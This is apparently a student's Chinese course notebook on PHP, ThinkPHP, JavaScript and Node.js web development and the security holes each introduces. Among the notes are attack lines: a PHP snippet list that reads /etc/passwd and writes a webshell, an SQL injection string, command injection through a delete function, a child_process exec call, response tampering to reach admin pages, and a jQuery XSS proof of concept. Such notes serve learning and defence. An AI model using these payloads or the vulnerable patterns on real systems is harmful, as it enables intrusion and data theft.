点击这个在右侧可以看到实时效果

php小白,跟着一步步写的
先把用户名、内容和提交按钮写出来

我们去预览界面查看一下

接收内容

预览

数据库通讯

连上了,然后再是执行sql语句将数据插入到数据库的表当中去
sql插入

提交之后查看表

可以,为了防止空数据的提交再加一个if条件检查是否是空数据

输出提交信息,弹窗


显示留言数据

输入显示:

表数据:

这个输出不是很好看,加上换行


后台管理
创建新目录admin,admin下面创建gbook_admin.php用来专门管理留言文件,但是每一个文件都需要数据库的连接话会很麻烦,所以我们定义一个全局配置文件config.php,写入数据库连接的那一部分
config

这样的话在其他的文件中如果需要这一部分的就直接inclde就ok
include


admin下面的gbook:

查询并且删除数据

为了方便可以把这些功能写成函数
函数


提交



如此一来我们就可以将专门显示内容的gbook_admin.php调用函数了
调用函数

这里的删除键除了点问题,我去问了一下AI修正了
display函数

gbook_admin.php:


ueditor
一个插件,可以让页面输入上传图片,新建目录之后直接把文件夹拖进去
然后发现一直报错,索性直接复制去对应目录下面了

在gbook文件最前面先快捷键<!加tab搞个框架

引入ueditor的文件

我们改一下内容,让它可以输入图片

这里直接用浏览器打开还是显示不完全,我们去小皮新建一个网站,目录指向demo01


学到了一点phpstrom的快捷键
ctrl+alt+i 一键格式化
<!+tab 一键框架
第23天:安全开发-PHP应用&后台模块&Session&Cookie&Token&身份验证&唯一性
#章节点
PHP:(逻辑越权安全代码)
功能:新闻列表,会员中心,资源下载,留言版,后台模块,模版引用,框架开发等 技术:输入输出,超全局变量,数据库操作,逻辑架构,包含上传&下载删除;
技术:JS&CSS 混用,Cookie,Session 操作,MVC 架构,ThinkPHP 引用等。
1、PHP 后台身份验证模块实现
2、Cookie&Session 技术&差异
3、Token 数据包唯一性应用场景
项目 1:用 cookie 做后台身份验证
项目 2:用 session 做后台身份验证
项目 3:用 token 做用户登录判断
#身份验证-Cookie使用
生成cookie的原理图过程:见图
1、客户端向服务器发送HTTP请求。
2、服务器检查请求头中是否包含cookie信息。
3、如果请求头中包含cookie信息,则服务器使用该cookie来识别客户端,否则服务器将生成一个新的cookie。
4、服务器在响应头中设置cookie信息并将其发送回客户端。
5、客户端接收响应并将cookie保存在本地。
6、当客户端发送下一次HTTP请求时,它会将cookie信息附加到请求头中。
7、服务器收到请求并检查cookie的有效性。
8、如果cookie有效,则服务器响应请求。否则,服务器可能会要求客户端重新登录。
setcookie(): 设置一个cookie并发送到客户端浏览器。
unset(): 用于删除指定的cookie。
#身份验证-Session使用
1、客户端向服务器发送HTTP请求。
2、服务器为客户端生成一个唯一的session ID,并将其存储在服务器端的存储器中(如文件、数据库等)。
3、服务器将生成的session ID作为一个cookie发送给客户端。
4、客户端将session ID保存为一个cookie,通常是在本地浏览器中存储。
5、当客户端在发送下一次HTTP请求时,它会将该cookie信息附加到请求头中,以便服务器可以通过该session ID来识别客户端。
6、服务器使用session ID来检索存储在服务器端存储器中的与该客户端相关的session数据,从而在客户端和服务器之间共享数据。
session_start(): 启动会话,用于开始或恢复一个已经存在的会话。
$_SESSION: 用于存储和访问当前会话中的所有变量。
session_destroy(): 销毁当前会话中的所有数据。
session_unset(): 释放当前会话中的所有变量。
Session存储路径:PHP.INI中session.save_path设置路径
#唯一性判断-Token使用
1、生成Token并将其存储在Session
2、生成Token并将其绑定在Cookie触发
3、尝试登录表单中带入Token验证逻辑
4、思考Token安全特性
#具体安全知识点:
-Cookie和Session都是用来在web应用程序中跟踪用户状态的机制
1、存储位置不同:
Cookie是存储在客户端(浏览器)上的,而Session是存储在服务器端的。
2、安全性不同:
Cookie存储在客户端上,可能会被黑客利用窃取信息,而session存储在服务器上,更加安全。
3、存储容量不同:
Cookie的存储容量有限,一般为4KB,而session的存储容量理论上没有限制,取决于服务器的硬件和配置。
4、生命周期不同:
Cookie可以设置过期时间,即便关闭浏览器或者重新打开电脑,Cookie仍然存在,直到过期或者被删除。而session一般默认在浏览器关闭后就会过期。
5、访问方式不同:
Cookie可以通过JavaScript访问,而Session只能在服务器端进行访问。
6、使用场景不同:
Cookie一般用于存储小型的数据,如用户的用户名和密码等信息。而session一般用于
总之,Cookie和session都有各自的优缺点,选择使用哪一种方式,取决于具体的应用场景和需求。一般来说,如果需要存储敏感信息或者数据较大,建议使用Session;如果只需要存储少量的数据,并且需要在客户端进行访问,可以选择使用Cookie。
1、PHP后台身份验证模块实现
2、Cookie&Session技术&差异
3、Token数据包唯一性应用场景项目
1:用cookie做后台身份验证项目
2:用session做后台身份验证项目
3:用token做用户登录判断
#身份验证-Cookie使用
三个文件,分别是登陆文件、登陆成功后的首页、登出文件

ai写一个前端界面

php逻辑


添加登陆成功的跳转和失败的弹窗,成功了没有弹窗所以注释掉了
因为登陆成功的页面现在是可以直接访问的,所以需要加上验证,admin_c设置cookie

index_c进行判断

logout文件

我们先看admin_c的cookie,没登陆之前的

是没有账号密码的,现在直接打开index_c是打不开的

登陆完之后再来看admin_c会发现cookie显示了账号密码

并且直接访问index_c也可以直接访问了

点退出登录就回到登陆界面了
当我们有cookie时,可以自己添加,正确之后就可以直接访问index_c文件


#身份验证-Session使用
index_s.php、admin_s.php、logout_s.php
admin_s的表单部分和连接数据库、接受输入是一样的,开始在查询到数据库有对应的账号密码后设置session

查看Session存储路径:PHP.INI中session.save_path设置路径


我们去尝试登陆一下,在对应的目录下面生成了文件

出了一点问题,生成的文件没有内容,后续修改直接连文件都不生成了
原来是浏览器出了问题,登陆之后会产生文件:


f12查看

session和文件名一样的
index_s文件判断:

登录成功后可以看到session

这个和cookie类似,知道文件名之后在浏览器添加也可以直接访问index_s,但是当浏览器关闭之后session就会失效
登出文件:

登出之后session文件也会消失
#唯一性判断-Token使用
一个数据包带一个token
token文件:


token_check文件:


当我们尝试爆破账号密码时会发现即使你字典里面有正确的账号密码也会显示失败


第24天:安全开发-PHP应用&文件管理模块&显示上传&黑白名单类型过滤&访问控制
1、PHP 文件管理-显示&上传功能实现
2、文件上传-$_FILES&过滤机制实现
3、文件显示-目录遍历&过滤机制实现
#章节点
PHP:(逻辑越权安全代码)
功能:新闻列表,会员中心,资源下载,留言版,后台模块,模版引用,框架开发等 技术:输入输出,超全局变量,数据库操作,逻辑架构,包含上传&下载删除;
技术:JS&CSS 混用,Cookie,Session 操作,MVC 架构,ThinkPHP 引用等。
#文件管理模块-上传-过滤机制
1、无过滤机制
2、黑名单过滤机制
3、白名单过滤机制
4、文件类型过滤机制
$_FILES:PHP中一个预定义的超全局变量,用于在上传文件时从客户端接收文件,将其保存到服务器上。它是一个包含上传文件信息的数组,包括文件名、类型、大小、时文件名等信息。
$_FILES["表单值"]["name"] 获取上传文件原始名称
$_FILES["表单值"]["type"] 获取上传文件MIME类型
$_FILES["表单值"]["size"] 获取上传文件字节单位大小
$_FILES["表单值"]["tmp_name"] 获取上传的临时副本文件名
$_FILES["表单值"]["error"] 获取上传时发生的错误代码
move_uploaded_file() 将上传的文件移动到指定位置的函数
#文件管理模块-显示-过滤机制
功能:显示 上传 下载 删除 编辑 包含等
1.打开目录读取文件列表
2.递归循环读取文件列表
3.判断是文件还是文件夹
4.PHP.INI目录访问控制
is_dir() 函数用于检查指定的路径是否是一个目录
opendir() 函数用于打开指定的目录,返回句柄,用来读取目录中的文件和子目录
readdir() 函数用于从打开的目录句柄中读取目录中的文件和子目录
open_basedir:PHP.INI中的设置用来控制脚本程序访问目录
#文件管理模块-上传-过滤机制
upload.html:

upload.php获取文件属性


可以正常显示
设置黑名单

白名单:

MIME文件类型过滤

查看目录


目录查看权限,任意文件目录

php配置文件中open_base去掉注释(不知道为啥我这个没成功

或者在函数里面过滤当访问有./就过滤掉
设置文件夹权限
第25天:安全开发-PHP应用&文件管理&包含&写入&删除&下载&上传&遍历&安全
1、PHP 文件管理-下载&删除功能实现
2、PHP 文件管理-编辑&包含功能实现
#章节点
PHP:(逻辑越权安全代码)
功能:新闻列表,会员中心,资源下载,留言版,后台模块,模版引用,框架开发等 技术:输入输出,超全局变量,数据库操作,逻辑架构,包含上传&下载删除;
技术:JS&CSS 混用,Cookie,Session 操作,MVC 架构,ThinkPHP 引用等。
#PHP 文件操作安全
-文件包含,文件上传,文件下载,文件删除,文件写入,文件遍历
#文件包含:
include() 在错误发生后脚本继续执行
require() 在错误发生后脚本停止执行
include_once() 如果已经包含,则不再执行
require_once() 如果已经包含,则不再执行
#文件上传:
1、无过滤机制
2、黑名单过滤机制
3、白名单过滤机制
4、文件类型过滤机制
架构:
1、上传至服务器本身的存储磁盘(源码在一起)
2、云产品 OSS 存储对象去存储文件(泄漏安全)
3、把文件上传到其他域名,如:www.xiaodi8.com->upload.xiaodi8.com
$_FILES:PHP 中一个预定义的超全局变量,用于在上传文件时从客户端接收文件,并将其保存到服务器上。它是一个包含上传文件信息的数组,包括文件名、类型、大小、临时文件名等信息。
$_FILES["表单值"]["name"] 获取上传文件原始名称
$_FILES["表单值"]["type"] 获取上传文件 MIME 类型
$_FILES["表单值"]["size"] 获取上传文件字节单位大小
$_FILES["表单值"]["tmp_name"] 获取上传的临时副本文件名
$_FILES["表单值"]["error"] 获取上传时发生的错误代码
move_uploaded_file() 将上传的文件移动到指定位置的函数
#文件显示:
1.打开目录读取文件列表
2.递归循环读取文件列表
3.判断是文件还是文件夹
4.PHP.INI 目录访问控制
is_dir() 函数用于检查指定的路径是否是一个目录
opendir() 函数用于打开指定的目录,返回句柄,用来读取目录中的文件和子目录
readdir() 函数用于从打开的目录句柄中读取目录中的文件和子目录
OSS
阿里云开通oss,创建bucket


url


搜对象存储OSS进来

前端泄露了accesskey和id,获取到之后可以直接通过oss浏览器进行连接然后获取上传的文件


文件包含
html是界面,其中文件上传的操作是交给upload.php来完成的,当直接访问upload.php是不会有文件上传框的

当php文件包含了html文件之后再去访问php文件就会显示html的内容,也就是上传文件的框


或者是传参



当然直接访问test只是一个这种代码,但如果用这种函数来就会泄露信息或者是木马地址了
文件管理器
这个的php逻辑上节课已经讲过了,这里感觉就是多加了一点显示的东西和美化
删除部分可能潜在的漏洞
在代码中,windows可以用del命令删除文件,当代码中是用
system("del $file");
时,会有命令执行漏洞,也就是之前学过的,两个命令可以同时进行

当代码用的是这种来删除文件,我们可以复制删除文件的url


我们尝试在url后面加上ping命令,为了看到回显我们使用DNSLog


有了
这个可以用检测是不是目录来过滤,如果不是完整路径的话就不执行
第26天:安全开发-PHP应用&模版引用&Smarty渲染&MVC模型&数据联动&RCE安全
1、PHP 新闻显示-数据库操作读取显示
2、PHP 模版引用-自写模版&Smarty 渲染
3、PHP 模版安全-RCE 代码执行&三方漏洞
#新闻列表
1、数据库创建新闻存储
2、代码连接数据库读取
3、页面进行自定义显示
#自写模版引用
1、页面显示样式编排
2、显示数据插入页面
3、引用模版调用触发
#Smarty 模版引用
下载:https://github.com/smarty-php/smarty/releases
使用:
1、创建一个文件夹,命名为 smarty-demo。
2、下载 Smarty 对应版本并解压缩到该文件夹中。
3、创建一个 PHP 文件,命名为 index.php,并在文件中添加以下代码:
<?php
// 引入 Smarty 类文件(Smarty 5.x 方式)
require('../smarty-demo/libs/Smarty.class.php');
// 创建 Smarty 实例(注意命名空间)
$smarty = new Smarty\Smarty();
// 设置 Smarty 相关属性
$smarty->setTemplateDir('../smarty-demo/templates/');
$smarty->setCompileDir('../smarty-demo/templates_c/');
$smarty->setCacheDir('../smarty-demo/cache/');
$smarty->setConfigDir('../smarty-demo/configs/');
// 赋值变量到模板中
$smarty->assign('title', '欢迎使用 Smarty');
// 显示模板
$smarty->display('index.tpl');
4、创建一个名为 index.tpl 的模板文件,并将以下代码复制到上述点定义文件夹中 <!DOCTYPE html>
<html>
<head>
<title>{$title}</title>
</head>
<body>
<h1>{$title}</h1>
<p>这是一个使用 Smarty 的例子。</p>
</body>
</html>
新闻列表
新建数据库

添加内容

new.php


url是这个和id=1是一样的


页面名称设置,新建html文件,Title加上花括号

new.php


这样在html中修改title的值就可以显示其值了
当html是模板然后php直接调用html的话可能会产生命令执行,我们把数据库里面写上phpinfo

模板需要被调用运行,当模板中被插入命令之后打开php就会被执行,再打开php文件:

或者是在html里面写上phpinfo,直接打开html是不会执行的,但是打开php文件就会执行

这样就可以执行很多php命令,比如:
<?php phpinfo(); ?> // 显示PHP配置信息
<?php system('uname -a'); ?> // 显示系统信息
<?php echo `whoami`; ?> // 显示当前用户
<?php print_r($_SERVER); ?> // 显示服务器变量
<?php system('ls -la /'); ?> // 列出根目录
<?php echo file_get_contents('/etc/passwd'); ?> // 读取系统文件
<?php file_put_contents('shell.php', '<?php system($_GET["cmd"]); ?>'); ?> // 写入webshell
等等
Smarty渲染
一个使用PHP写出来的模板引擎,按教程创建index.php和index.tpl

尝试在tpl文件里面写入phpinfo发现没有执行,没有直接的RCE漏洞
但是也不一定完全安全

PHP的模板注入(Smarty模板)_smarty模板注入-CSDN博客
也就是说代码审计的时候,需要注意插件、模板、组件什么的都需要审计(ueditor、smarty、shiro、fastjson等等)
第27天:安全开发-PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞
1、TP 框架-开发-路由访问&数据库&文件上传&MVC 模型
2、TP 框架-安全-不合规写法&内置过滤绕过&版本安全漏洞
#章节点
PHP:(逻辑越权安全代码)
功能:新闻列表,会员中心,资源下载,留言版,后台模块,模版引用,框架开发等 技术:输入输出,超全局变量,数据库操作,逻辑架构,包含上传&下载删除;
技术:JS&CSS 混用,Cookie,Session 操作,MVC 架构,ThinkPHP 引用等。
#TP 框架-开发-配置架构&路由&MVC 模型
参考:https://www.kancloud.cn/manual/thinkphp5_1 1、配置架构-导入使用
2、路由访问-URL 访问
3、数据库操作-应用对象
4、文件上传操作-应用对象
5、前端页面渲染-MVC 模型
#TP 框架-安全-不安全写法&版本过滤绕过
1、内置代码写法
例子:不合规的代码写法-TP5-自写
2、框架版本安全
例子 1:写法内置安全绕过-TP5-SQL 注入
例子 2:内置版本安全漏洞-TP5-代码执行
thinkphp
入口文件,public/index.php,一路找


这里是php8的版本了,和小迪的不一样,小迪指向application然后里面有index.php文件,这个指向的文件目录下面没有index.php,是在

这里,返回的是index(),return就是显示的界面,可以尝试修改一下


官方文档:序言 - ThinkPHP官方手册
路由访问-URL 访问
路径地址:
http://serverName/index.php?s=/控制器/操作/[参数名/参数值...]
控制器:index,ThinkPHP 会默认调用 Index 控制器的 index 方法
操作就是方法名:index()

如果要出发这个index.php文件url应该就是
http://thinphp:3425/index.php?s=/index/index



以前学的接收是:

访问
http://thinphp:3425/index.php?x=1&s=/index/xiaodi

官方的请求


return $this->request->param('name');
获取 HTTP 请求参数,param('name') 表示 获取名为 name 的请求参数


http://thinphp:3425/index.php?s=/index/xiaodi/name/33550336

这种也可以
自己可以测试感受一下,新建一个test目录,下面是controller目录,里面是test.php

http://thinphp:3425/index.php?s=/test/xiaodi/name/33550336
这里出了问题访问不了,后续排查
这种就是和传统的一个一个目录下面找index.php文件访问不一样,这个不能一级一级去找然后访问,需要根据他的路由关系去访问
一般thinkphp的核心文件就是controller目录找index文件,核心的代码文件就在控制器controller里面
数据库操作-应用对象

修改添加一下



添加一个请求参数

这里如果是原生态的开发的话在url里面是会有sql注入的,这里尝试



后续不管什么条件都不会报错显示,也就是使用了tp框架会受到框架内置过滤保护的
文件上传操作-应用对象
public目录新建一个upload.html文件

配置上传的文件

upload.html

index.php



默认存储目录

有验证的:

前端页面渲染-MVC 模型



版本漏洞
ThinkPHP8反序列化漏洞复现 - /1dreamGN/Blog
第28天:安全开发-JS应用&原生开发&JQuery库&Ajax技术&前端后端&安全验证处理
1、JS 应用-原生态开发&第三库开发
2、JS 功能-文件上传&登录验证&商品购买
功能:登录验证,文件操作,商品购买,数据库操作,云应用接入,框架开发等
技术:原生开发,DOM 树,常见库使用(JQuery),框架开发(Vue,Nodejs)等
#参考
1、原生 JS 教程
https://www.w3school.com.cn/js/index.asp
2、jQuery 库教程
https://www.w3school.com.cn/jquery/index.asp
#JS 原生开发-文件上传-变量&对象&函数&事件
1、布置前端页面
2、JS 获取提交数据
3、JS 对上传格式判断
4、后端对上传数据处理
前端 JS 进行后缀过滤,后端 PHP 进行上传处理
架构:html js php - upload.php
安全问题:
1、过滤代码能看到分析绕过
2、禁用 JS 或删除过滤代码绕过
#JS 导入库开发-登录验证-JQuery 库&Ajax 技术
0、布置前端页面
1、获取登录事件
2、配置 Ajax 请求
3、后端代码验证
4、成功回调判断
后端 PHP 进行帐号判断,前端 JS 进行登录处理
架构:html js login.html - logincheck.php
#JS 导入库开发-逻辑购买-JQuery 库&Ajax 技术
1、布置前端页面
2、获取登录事件
3、配置 Ajax 请求
4、后端代码验证
5、成功回调判断
架构:html js shop.html - shopcheck.php
#实例测试-某违规 APP-密码找回&JS 验证逻辑安全
功能:登录验证,文件操作,SQL操作,云应用接入,框架开发,打包器使用等技术:原生开发,DOM,常见库使用,框架开发(Vue,Nodes),打包器(Webpack)等安全:原生开发安全,NodeJs安全,Vue安全,打包器webpack安全,三方库安全问题等
JS 原生开发-文件上传-变量&对象&函数&事件
布置前端页面

JS 获取提交数据

文件保存用php

之前用php写的文件上传在前端是看不到代码的

js写的可以看到js文件的代码

可以保存源代码(ctrl+u)

另存为up.html文件,找到关键的onchange

删除,再把跳转页面的upload换一下


我们浏览器打开html文件上传文件就可以上传到JS目录里面upload文件夹里面了,并且不限文件格式因为我们删除了CheckFileExt
JS 导入库开发-登录验证-JQuery 库&Ajax 技术
login.html:

这里把action跳转到php文件的表单注释了,用JS来登录
需要用到JQuery库

下载复制到JS目录,引用并创建事件函数

官方文档看操作函数


| url | 必需。规定把请求发送到哪个 URL。 |
|---|---|
| data | 可选。映射或字符串值。规定连同请求发送到服务器的数据。 |
| success(data, textStatus, jqXHR) | 可选。请求成功时执行的回调函数。 |
| dataType | 可选。规定预期的服务器响应的数据类型。默认执行智能判断(xml、json、script 或 html)。 |
data这里小迪讲的是获取的是class值,后面看弹幕建议使用唯一标识id来

success部分:

longincheck.php部分:

尝试登录查看console

把这个infoCode写在js文件是不安全的,因为js逻辑可以在前端被看到,被知道当infoCode等于1的时候就跳转到后台,那么就可以通过抓包修改就能进入后台

抓包

发送到intercept,查看返回包

返回包显示了infoCode

把infoCode改成1之后再发出去


进入后台了
想要安全就不能把location.href='index.php';写在js,而是写在php

再抓一次包试试会发现虽然提示登陆成功了但是并不会跳转到后台
JS 导入库开发-逻辑购买-JQuery 库&Ajax 技术
前端页面根据上一个登录的稍加修改:

shop.php也是:

后续的抓包修改就和上面的那个一样了
后面小迪还演示了一个忘记密码的验证,就是先输入正确手机号、验证码之后拿到返回包的内容,下次就随便输入验证码之后也是抓包拿到返回包,把返回包的内容改成之前正确的返回包之后发送就会发现也进入了重置密码的界面
第29天:安全开发-JS应用&DOM树&加密编码库&断点调试&逆向分析&元素属性操作
1、JS 技术-DOM 树操作及安全隐患
2、JS 技术-加密编码及数据安全调试
#JS 原生开发-DOM 树-用户交互
DOM:文档操作对象
浏览器提供的一套专门用来操作网页代码内容的功能,实现自主或用户交互动作反馈
安全问题:本身的前端代码通过 DOM 技术实现代码的更新修改,但是更新修改如果修改的数据可以由用户来指定,就会造成 DOM-XSS 攻击!
1、获取对象
标签:直接写
Class:加上符号.
id:加上符号#
<h1 id="myHeader" onclick="getValue()">这是标题</h1>
document.querySelector('h1')
document.querySelector('.id')
document.querySelector('#myHeader')
2、获取对象属性
<h1 id="myHeader" onclick="getValue()">这是标题</h1>
const h1=document.querySelector('h1')
const id=h1.id
console.log(id)
2、操作元素数据
innerHTML 解析后续代码
innerText 不解析后续代码
3、操作元素属性
#JS 导入库开发-编码加密-逆向调试
//Base64
//MD5
<script src="js/md5.js"></script>
<script>
var str1 = 'xiaodisec'
var str_encode = md5(str1);
console.log(str_encode)
</script>
//SHA1
<!DOCTYPE html>
<script src="js/crypto-js.js"></script><script>
var strl='xiaodisec';
var str_encode =CryptoJs.SHA1(strl).tostring();// 注意:1是数字1
console.log(str_encode)
</script>
</html>
//HMAC
<script src="js/crypto-js.js"></script>
<script>
var key= 'key';
var strl='xiaodisec';
var hash =CryptoJS.HmacSHA256(key,strl);
var str encode=CryptoJS.enc.Hex.stringify(hash);
console.log(strencode)//
'11a7960cd583ee2c3f1ed910dbc3b6c3991207cbc527d122f69e84d13cc5ce5c'
</script>
功能:登录验证,文件操作,SQL操作,云应用接入,框架开发,打包器使用等技术:原生开发,DOM,常见库使用,框架开发(Vue,Nodes),打包器(Webpack)等安全:原生开发安全,NodeJs安全,Vue安全,打包器webpack安全,三方库安全问题等
JS 原生开发-DOM 树-用户交互

点击刷新之后会显示文件名



标题刷新

图片刷新

就是用document.querySelector('img')获取之后用.接里面的内容可以获取值
安全问题:DOM XSS

这里的值在点击刷新后就会传到imf的src中去

DOM就是当用户输入是页面发生变化,有事件之后就会更改这个值
JS 导入库开发-编码加密-逆向调试
安装三个包
npm install crypto-js jsencrypt js-md5

md5加密


SHA1加密


HMAC加密


AES


两则案例分析-解析安全&登录调试
xiaodi博客
登陆界面看login.php

一个ajax登录按钮,也就是单击登陆事件->声明变量->发送数据,然后密码是MD5加密


这样可以知道加密就是MD5加密
在网站中要测试,如果不知道加密算法,你发送过去的数据如果是明文那么网站压根就不知道你发的是什么,没有效
申通
登录看网络,出现一个LoginResult

UserName
LbNtTCXXoVcs+vKnYeWx8iM2Z+1HuAaRJGmQ1Tp+EMbUkCl1Dbwu4j9IFI2DETNHjP2Kc5vUH5bfQErllsGxSYpf0eoErI2S28DuCuEjG+X6izXGScNwef5pi/dUZEeC2n4ylsLcTlOqc1ON/TKaJ5iTAmKXuVDoZ6boGuV2keo=
Mobile
xxjRmQ0WyQxXfKf6ReRQEqIYTDL0aN4Rcou/70PjSJ1VNSht9h9dS1VtxJExl+ngxspzQp1wRgkL7esOtMqqLegxCxGqHppjP/Mv4QT6y77PazcNUH0ELae572gr0G7YH/jXQDvI6jfBYtcoCKPJT8lawnB6ayfbKJPEI2N9ESc=
Password
I6e6TNvJaGqhL20ouFRaIYsc69GX3hqBE3lJqzVaq5N6q7wHp16Ge7/CXnHlF6vV51qcUBIQZlAAsQcvAW1az9m53wDF8cNVpLjnduOpO5yHnCma8Fds13Ge6raMJSb7iua4WeUZemhj+wA+uxQRr6BaVdgn9CaUgzGzABE4Yf0=
点表单,看用户名是用什么发送的(检查)

发现numMobile,全局搜索

发现encrypt,但是直接拿去控制台会用不了

断点


再次回到控制台会发现可以用了

后续测试也可以直接改攻击语句

就是后续测试的时候传的值就是加密后的值,这样的测试攻击就有效
第30天:安全开发-JS应用&NodeJS指南&原型链污染&Express框架&功能实现&审计
1、NodeJS-开发环境&功能实现
2、NodeJS-安全漏洞&案例分析
3、NodeJS-开发指南&特有漏洞
#环境搭建-NodeJS-解析安装&库安装
0、文档参考:
https://www.w3cschool.cn/nodejs/
1、Nodejs 安装
https://nodejs.org/en
2、三方库安装
express
Express 是一个简洁而灵活的 node.js Web 应用框架
body-parser
node.js 中间件,用于处理 JSON, Raw, Text 和 URL 编码的数据。
cookie-parser
这就是一个解析 Cookie 的工具。通过 req.cookies 可以取到传过来的 cookie,并把它们转成对象。
multer
node.js 中间件,用于处理 enctype="multipart/form-data"(设置表单的 MIME编码)的表单数据。
mysql
Node.js 来连接 MySQL 专用库,并对数据库进行操作。
安装命令:
npm i express
npm i body-parser
npm i cookie-parser
npm i multer
npm i mysql
#功能实现-NodeJS-数据库&文件&执行
-登录操作
1、Express 开发
2、实现用户登录
3、加入数据库操作
-文件操作
1、Express 开发
2、实现目录读取
3、加入传参接受
-命令执行(RCE)
1、eval
2、exec & spawnSyn
#安全问题-NodeJs-注入&RCE&原型链
1、SQL注入&文件操作
2、RCE执行&原型链污染
2、NodeJs黑盒无代码分析
实战测试NodeJs安全:
判断:参考前期的信息收集
黑盒:通过对爸种功能和参数进行payload测试
白盒:通过对代码中写法安全进行审计分析
-原型链污染
如果攻击者控制并修改了一个对象的原型,(__proto__)
那么将可以影响所有和这个对象来自同一个类、父祖类的对象。
#案例分析-NodeJS-CTF题目&源码审计
1、CTFSHOW几个题目
https://ctf.show/Web334-3442
https://f1veseven.github.io/2022/04/03/ctf-nodejs-zhi-yi-xie-xiao-zhi-shi/
2、YApi管理平台漏洞
https://blog.csdn.net/weixin_42353842/article/details/127960229
#开发指南-NodeJs-安全SecGuide项目
https://github.com/Tencent/secguide
功能:登录验证,文件操作,SQL操作,云应用接入,框架开发,打包器使用等技术:原生开发,DOM,常见库使用,框架开发(Vue,Nodes),打包器(Webpack)等安全:原生开发安全,NodeJs安全,Vue安全,打包器webpack安全,三方库安全问题等
环境搭建-NodeJS-解析安装&库安装
nodejs安装,安装express

运行

访问

- 前端JS:在浏览器中按F12可以看到所有HTML/CSS/JS源代码
- Node.js:运行在服务器端,用户无法通过浏览器查看服务器代码
登录
sql.html


sql.js

启动查看

访问,注意路由是login
http://localhost:3000/login

加一个首页


html文件


用了html文件之后需要接收两个数据

req.query:获取URL的查询参数串,所以这里的post要改成get,js里面的也是


登录


POST路由来实现,引入库

安装库,写js,html里面的方法改成post

登录

功能实现-NodeJS-数据库&文件&执行
数据库



这里取出来的是列表

取第0行的username和password
这样写会有sql注入产生,改一下sql然后把数据库部分放进post请求


报错处理

查询语句是
select * from admin where username="admin" and password="123456"
sql注入写法
select * from admin where username="admin" or 1=1 # and password="123456"
注释了后续的语句


因为这里的判断是接收的值

所以不会进入后台
文件管理

获取当前目录

获取dir

http://127.0.0.1:3000/file?dir=./
http://127.0.0.1:3000/file?dir=../
http://127.0.0.1:3000/file?dir=c:/

安全问题-NodeJS-注入&RCE&原型链
系统命令执行
简单执行计算器

exec和spawnSync都可以
代码命令执行
eval


代码命令执行跳到系统命令执行

nodejs判断

原型链

命令执行

require('child_process').execSync('calc')
这会在Windows系统上打开计算器程序
案例分析-NodeJS-CTF 题目&源码审计
开发指南-NodeJS-安全 SecGuide 项目
第31天:安全开发-JS应用&WebPack打包器&第三方库JQuery&安装使用&安全检测
#打包器-WebPack-使用&安全
参考:https://mp.weixin.qq.com/s/J3bpy-SsCnQ1lBov1L98WA
Webpack 是一个模块打包器。在 Webpack 中会将前端的所有资源文件都作为模块处理。它将根据模块的依赖关系进行分析,生成对应的资源。
五个核心概念:
1. 【入口(entry)】:指示 webpack 应该使用哪个模块,来作为构建内部依赖图开始。
2. 【输出(output)】:在哪里输出文件,以及如何命名这些文件。
3. 【Loader】:处理那些非 JavaScript 文件(webpack 自身只能解析
JavaScript 和 json)。webpack 本身只能处理 JS、JSON 模块,如果要加载其他类型的文件(模块),就需要使用对应的 loader。
4. 【插件(plugins)】:执行范围更广的任务,从打包到优化都可以实现。
5. 【模式(mode)】:有生产模式 production 和开发模式 development。
使用:
1、创建需打包文件
2、安装 webpack 库
3、创建 webpack 配置文件
4、运行 webpack 打包命令
安全:
1、WebPack 源码泄漏-模式选择
2、模糊提取安全检查-PacketFuzzer
https://github.com/rtcatc/Packer-Fuzzer
原生态 JS:前端语言直接浏览器显示源代码
NodeJS:服务段语言浏览器不显示源代码
WebPack:打包模式选择开发者模式后会造成源码泄漏(nodejs vue)
#第三方库-JQuery-使用&安全
jQuery 是一个快速、简洁的 JavaScript 框架,是一个丰富的 JavaScript 代码库。
设计目的是为了写更少的代码,做更多的事情。它封装 JavaScript 常用功能代码,提
供一种简便的 JavaScript 设计模式,优化 HTML 文档操作、事件处理、动画设计和
Ajax 交互。
1、使用:
引用路径:
2、安全:
检测:http://research.insecurelabs.org/jquery/test/
测试:CVE-2020-11022/CVE-2020-11023
功能:登录验证,文件操作,SQL操作,云应用接入,框架开发,打包器使用等技术:原生开发,DOM,常见库使用,框架开发(Vue,Nodes),打包器(Webpack)等安全:原生开发安全,NodeJs安全,Vue安全,打包器webpack安全,三方库安全问题等
打包器-WebPack-使用&安全
简单举例的文件引用
src下的1.js

src下的2.js

index.html

控制台会显示test,但是如果非常多的js文件这样一个个引用会很麻烦,可以用WebPack来打包很多函数,并且代码看起来更加规矩
创建打包文件
1.js

2.js

main.js

index.html

安装 webpack 库
npm install --save-dev webpack webpack-cli
创建 webpack 配置文件
webpack.config.js文件

运行 webpack 打包命令
npx webpack

得到bulid目录下的app.js

在index.html里面引用打包好的文件

控制台有结果了

开发者模式
上面的打包方法用的是开发者模式,也就是development

这个模式在前端界面可以看到源码和代码逻辑

生产者模式

继续打包操作得到app.js文件会发现代码很短

访问index.html

这个和上一个对比会发现源代码看不到了,得到的app.js也直接显示出来的结果
也就是说如果打包的时候选择的是开发者模式就会造成源码泄露
第三方库-JQuery-使用&安全
【JQuery-XSS漏洞(CVE-2020-11022/CVE-2020-11023)漏洞复现】_jquery xss-CSDN博客
JQuery版本大于等于1.2 ,小于 3.5.0
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</title>
<!-- 修改为本地jQuery文件 -->
<script src="./jquery-3.4.1/jquery-3.4.1.js"></script>
<!-- <script src="./jquery-3.5.1/jquery-3.5.1.js"></script> -->
</head>
<body>
<script>
function test(n,jq){
sanitizedHTML = document.getElementById('poc'+n).innerHTML;
if(jq){
$('#div').html(sanitizedHTML);
}else{
div.innerHTML=sanitizedHTML;
}
}
</script>
<h1>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</h1>
<p>PoCs of XSS bugs fixed in <a href="//blog.jquery.com/2020/04/10/jquery-3-5-0-released/">jQuery 3.5.0</a>. You can find the details in my blog post: <a href="//mksben.l0.cm/2020/05/jquery3.5.0-xss.html">English</a> / <a href="//masatokinugawa.l0.cm/2020/05/jquery3.5.0-xss.html">日本語</a></p>
<h2>PoC 1</h2>
<button onclick="test(1)">Assign to innerHTML</button> <button onclick="test(1,true)">Append via .html()</button>
<xmp id="poc1">
<style><style /><img src=x onerror=alert('XSS-PoC1')>
</xmp>
